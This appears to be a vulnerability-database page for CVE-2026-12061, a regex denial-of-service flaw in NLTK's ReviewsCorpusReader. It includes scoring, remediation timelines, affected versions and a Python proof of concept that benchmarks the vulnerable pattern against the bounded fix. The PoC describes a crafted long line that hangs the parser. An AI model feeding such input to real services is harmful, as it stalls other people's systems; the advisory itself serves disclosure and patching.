CVE-2026-12061

HIGHPre-NVD 7.57.5
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 7.5 from GitHub Security Advisory (severity: HIGH) published 2026-07-31. The CNA's CVSS baseline 7.5; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory

Also known asGHSA-fg7f-2386-8897 (GitHub Security Advisories)

7.5EG
EchelonGraph verdictPlan a fixRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

A fix is available — apply it.

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

Summary

ReviewsCorpusReader extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

--- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---

FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

--- Bounded variant from the fix (PR #3583): cap the per-label word run.

A generous bound (real feature labels are short noun phrases) makes the

run linear while never affecting legitimate corpora. ---

WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND )

TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line

def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip()

def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0)

def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None

def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t

def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b

def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")

bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check()

print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66)

if __name__ == "__main__": main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

CVSS v3
7.5
EG Score
7.5HIGHmedium confidence
EG Risk
34
EG Risk 34/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.

How it’s computed (value × EchelonGraph’s weight)
Severity75% × 45%
Impact severity (EG Severity): CVSS 7.5 of 10. Never the KEV-floored or EPSS-lifted EG Score.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: A fix is available. Apply it within your standard update timelines.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

The EG score (7.5): severity, escalated by confirmed exploitation. This CVE's 7.5 is its impact severity (EG Severity), not escalated.

EG Severity
7.5 HIGHCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

A fix is available. Apply it within your standard update timelines.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12061(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
pipnltk @ 3.10.0 (fixes <= 3.9.4)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(4 across 4 ecosystems)
Debian:12(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (9 versions)
  • every version on: no fix on record
—
Debian:13(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.10.0-1 ... 3.9.3-1 (6 versions)
  • every version on: no fix on record
—
Debian:14(1)
PackageVulnerable rangeFix by version rangeDependents
nltk3.9.1-2, 3.9.2-1, 3.9.3-1
  • every version up to 3.10.0-1: fixed in 3.10.0-1
—
PyPI(1)
PackageVulnerable rangeFix by version rangeDependents
nltk0.8 ... 3.9b1 (65 versions)
  • every version up to 3.10.0: fixed in 3.10.0
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 2× in last 7d / 8× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:59 UTCGHSA enrichmentGHSA-fg7f-2386-8897 · GitHub severity HIGH · GitHub CVSS 7.5
  2. 2026-11-01 07:59 UTCEG score recompute
  3. 2026-10-25 14:50 UTCEG score recompute
  4. 2026-10-18 05:04 UTCEG score recompute
  5. 2026-10-12 16:36 UTCEG score recompute
  6. 2026-10-11 20:12 UTCEG score recompute
  7. 2026-10-11 18:24 UTCEG score recompute
  8. 2026-10-11 14:58 UTCEG score recompute
  9. 2026-09-29 06:49 UTCEG score recompute
  10. 2026-07-31 17:08 UTCEG score recomputeFirst assessed: 7.5 HIGH

Frequently asked(4)

What is CVE-2026-12061?
CVE-2026-12061 is a high-severity vulnerability; its CVE record was published on July 31, 2026. Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex Summary ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label…
When was the CVE record for CVE-2026-12061 published?
The CVE record for CVE-2026-12061 was published on July 31, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 31, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-12061?
CVE-2026-12061 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-12061?
A fix for CVE-2026-12061 is available: update to the fixed version the vendor names in its advisory. The vendor advisories EchelonGraph has for CVE-2026-12061 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

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